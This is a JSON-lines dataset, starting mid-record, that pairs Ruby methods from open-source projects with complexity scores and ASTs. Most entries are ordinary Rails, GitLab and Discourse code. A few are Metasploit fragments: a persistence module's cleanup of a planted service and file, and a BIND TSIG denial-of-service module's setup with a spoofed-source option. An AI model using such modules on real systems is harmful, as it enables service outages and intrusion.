end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"load_next_batch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"DeletedObject\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"DeletedObject\"]},\"find_by_sql\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_batch_sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_pick_up_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RETRY_IN\"]},\"from_now\"]}]}]}]}]}]}]}","id":"777f9a0c-bd0a-4ca6-b6a2-8e7a43492bc3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/connection_handlers_multi_pool_config_test.rb","start_line":73,"raw_source":"def test_connected?\n          previous_env, ENV[\"RAILS_ENV\"] = ENV[\"RAILS_ENV\"], \"default_env\"\n\n          config = {\n            \"default_env\" => {\n              \"primary\" => { \"adapter\" => \"sqlite3\", \"database\" => \"test/db/primary.sqlite3\" }\n            }\n          }\n\n          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config\n\n          @handler.establish_connection(:primary)\n          @handler.establish_connection(:primary, shard: :pool_config_two)\n\n          # connect to default\n          @handler.connection_pool_list(:writing).first.checkout.connect!\n\n          assert @handler.connected?(\"primary\")\n          assert @handler.connected?(\"primary\", shard: :default)\n          assert_not @handler.connected?(\"primary\", shard: :pool_config_two)\n        ensure\n          ActiveRecord::Base.configurations = @prev_configs\n          ENV[\"RAILS_ENV\"] = previous_env\n        end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_connected?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous_env\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RAILS_ENV\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RAILS_ENV\"]}]},{\"type\":\"str\",\"children\":[\"default_env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"test/db/primary.sqlite3\"]}]}]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@prev_configs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"establish_connection\",{\"type\":\"sym\",\"children\":[\"primary\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"establish_connection\",{\"type\":\"sym\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shard\"]},{\"type\":\"sym\",\"children\":[\"pool_config_two\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"connection_pool_list\",{\"type\":\"sym\",\"children\":[\"writing\"]}]},\"first\"]},\"checkout\"]},\"connect!\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"connected?\",{\"type\":\"str\",\"children\":[\"primary\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"connected?\",{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shard\"]},{\"type\":\"sym\",\"children\":[\"default\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"connected?\",{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shard\"]},{\"type\":\"sym\",\"children\":[\"pool_config_two\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"ivar\",\"children\":[\"@prev_configs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RAILS_ENV\"]},{\"type\":\"lvar\",\"children\":[\"previous_env\"]}]}]}]}]}","id":"2849d0f8-77b2-484f-aeab-079a42a67d52"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/request.rb","start_line":62,"raw_source":"def initialize(env)\n      @env = env\n      @ip = nil\n      @params = nil\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@env\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ip\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"2077db07-1d12-475b-a05f-f1a2150fa1d1"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mybb.rb","start_line":32,"raw_source":"def initialize\n    super\n\n    @client =\n      Mysql2::Client.new(host: DB_HOST, username: DB_USER, password: DB_PW, database: DB_NAME)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"const\",\"children\":[null,\"DB_HOST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"const\",\"children\":[null,\"DB_USER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"const\",\"children\":[null,\"DB_PW\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"const\",\"children\":[null,\"DB_NAME\"]}]}]}]}]}]}]}","id":"b2e29f36-ce0f-47b0-8331-ee359909b6d5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_and_time_behavior.rb","start_line":215,"raw_source":"def test_last_month_on_31st\n    assert_equal date_time_init(2004, 2, 29, 0, 0, 0), date_time_init(2004, 3, 31, 0, 0, 0).last_month\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_last_month_on_31st\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_time_init\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"last_month\"]}]}]}","id":"a1c8af32-384b-4fbe-b10e-d9b11fbe46c6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/ps_persist.rb","start_line":180,"raw_source":"def remove_dyn_service(file_path)\n    service_stop(datastore['SVC_NAME'])\n    if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0\n      vprint_good(\"Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\\\', '\\\\\\\\')}\")\n      session.fs.file.rm(file_path.gsub('\\\\', '\\\\\\\\'))\n    else\n      print_error(\"Something went wrong, not deleting #{file_path.gsub('\\\\', '\\\\\\\\')}\")\n    end\n    return\n  end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_dyn_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_stop\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SVC_NAME\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SVC_NAME\"]}]}]},\"[]\",{\"type\":\"str\",\"children\":[\"GetLastError\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Service \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SVC_NAME\"]}]}]},{\"type\":\"str\",\"children\":[\" Removed, deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"file\"]},\"rm\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Something went wrong, not deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]}","id":"f3a65d71-61bd-41da-af02-15e9ff07f5a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/letter_avatar.rb","start_line":7,"raw_source":"def self.from_username(username)\n      identity = new\n      identity.color =\n        LetterAvatar::COLORS[\n          Digest::MD5.hexdigest(username)[0...15].to_i(16) % LetterAvatar::COLORS.length\n        ]\n      identity.letter = username[0].upcase\n      identity\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"identity\",{\"type\":\"send\",\"children\":[null,\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"color=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LetterAvatar\"]},\"COLORS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"username\"]}]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[15]}]}]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LetterAvatar\"]},\"COLORS\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"letter=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"upcase\"]}]},{\"type\":\"lvar\",\"children\":[\"identity\"]}]}]}","id":"6b1d2910-0e4b-421a-9a71-c2bf9a1ba35e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/onboarding/website_analyzer_service.rb","start_line":23,"raw_source":"def normalize_url(url)\n    return url if url.match?(%r{\\Ahttps?://})\n\n    \"https://#{url}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Ahttps?://\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]}","id":"44b06c07-db40-42df-8ac6-aa11f2b032e9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/base_manager/metrics_capture.rb","start_line":7,"raw_source":"def initialize(target, ems = nil)\n    @target = target\n    @ems = ems\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"optarg\",\"children\":[\"ems\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@target\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ems\",{\"type\":\"lvar\",\"children\":[\"ems\"]}]}]}]}","id":"eae0b734-f585-4946-8bb8-f312c2e3d000"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/organization_policy.rb","start_line":6,"raw_source":"def update?\n    user.org_admin?(record)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"org_admin?\",{\"type\":\"send\",\"children\":[null,\"record\"]}]}]}","id":"684c1814-c2b0-446a-9093-4f56138d032d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/framework_event_manager.rb","start_line":18,"raw_source":"def register_event_handlers\n    framework.events.add_session_subscriber(self)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"register_event_handlers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"add_session_subscriber\",{\"type\":\"self\",\"children\":[]}]}]}","id":"96844589-04fd-4584-a073-9c89a6f2da76"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250929111044_set_allow_immediate_namespaces_deletion_to_false_on_saas_bis.rb","start_line":30,"raw_source":"def should_run?\n    MigrationApplicationSetting.last.present? &&\n      (Gitlab.com? || MigrationApplicationSetting.last.gitlab_dedicated_instance)\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"should_run?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MigrationApplicationSetting\"]},\"last\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MigrationApplicationSetting\"]},\"last\"]},\"gitlab_dedicated_instance\"]}]}]}]}]}","id":"05cbd1fb-bef0-4846-8517-565bc7844271"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/banzai/filter/issuable_reference_expansion_filter_spec.rb","start_line":20,"raw_source":"def create_issue(state, attributes = {})\n    create(:issue, state, attributes.merge(project: project))\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}]}","id":"8f3b5c4e-acf3-4344-9cd5-525cf5aaa69c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/dns/bind_tsig.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'BIND TSIG Query Denial of Service',\n        'Description' => %q{\n          A defect in the rendering of messages into packets can cause named to\n          exit with an assertion failure in buffer.c while constructing a response\n          to a query that meets certain criteria.\n\n          This assertion can be triggered even if the apparent source address\n          isn't allowed to make queries.\n        },\n        # Research and Original PoC - msf module author\n        'Author' => [\n          'Martin Rocha',\n          'Ezequiel Tavella',\n          'Alejandro Parodi',\n          'Infobyte Research Team'\n        ],\n        'References' => [\n          ['CVE', '2016-2776'],\n          ['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html']\n        ],\n        'DisclosureDate' => '2016-09-27',\n        'License' => MSF_LICENSE,\n        'DefaultOptions' => { 'ScannerRecvWindow' => 0 },\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(53),\n      OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])\n    ])\n\n    deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')\n  end","complexity_score":7.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"BIND TSIG Query Denial of Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          A defect in the rendering of messages into packets can cause named to\\n\"]},{\"type\":\"str\",\"children\":[\"          exit with an assertion failure in buffer.c while constructing a response\\n\"]},{\"type\":\"str\",\"children\":[\"          to a query that meets certain criteria.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This assertion can be triggered even if the apparent source address\\n\"]},{\"type\":\"str\",\"children\":[\"          isn't allowed to make queries.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Martin Rocha\"]},{\"type\":\"str\",\"children\":[\"Ezequiel Tavella\"]},{\"type\":\"str\",\"children\":[\"Alejandro Parodi\"]},{\"type\":\"str\",\"children\":[\"Infobyte Research Team\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-2776\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-09-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ScannerRecvWindow\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[53]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRC_ADDR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Source address to spoof\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"PCAPFILE\"]},{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"str\",\"children\":[\"SNAPLEN\"]},{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}]}","id":"49e1aea5-79c2-4cf6-bfb9-c6844e300721"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/create_message.rb","start_line":126,"raw_source":"def ensure_reply_consistency(channel:, params:, reply:)\n      return true if params.in_reply_to_id.blank?\n      reply&.chat_channel == channel\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_reply_consistency\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"channel\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]},{\"type\":\"kwarg\",\"children\":[\"reply\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"in_reply_to_id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"chat_channel\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]}","id":"bea88e8e-f60c-47be-aecc-983c22ed73c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/graphql_controller.rb","start_line":223,"raw_source":"def track_vs_code_usage\n    Gitlab::UsageDataCounters::VSCodeExtensionActivityUniqueCounter\n      .track_api_request_when_trackable(user_agent: request.user_agent, user: current_user)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"track_vs_code_usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageDataCounters\"]},\"VSCodeExtensionActivityUniqueCounter\"]},\"track_api_request_when_trackable\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"user_agent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}","id":"a52ec7dc-82ab-49e6-98d3-ba75bf2b2ca3"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/page_view.rb","start_line":30,"raw_source":"def article_tags\n    article.decorate.cached_tag_list_array\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"article_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"decorate\"]},\"cached_tag_list_array\"]}]}","id":"6dedb621-e9a4-40f8-bafc-9d580c8ee898"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/subscription_adapter/channel_prefix.rb","start_line":27,"raw_source":"def alt_cable_config\n    cable_config.merge(channel_prefix: \"foo\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"alt_cable_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cable_config\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_prefix\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}","id":"bfb1c5ed-7107-4d14-bcc0-83a580ba82b8"}
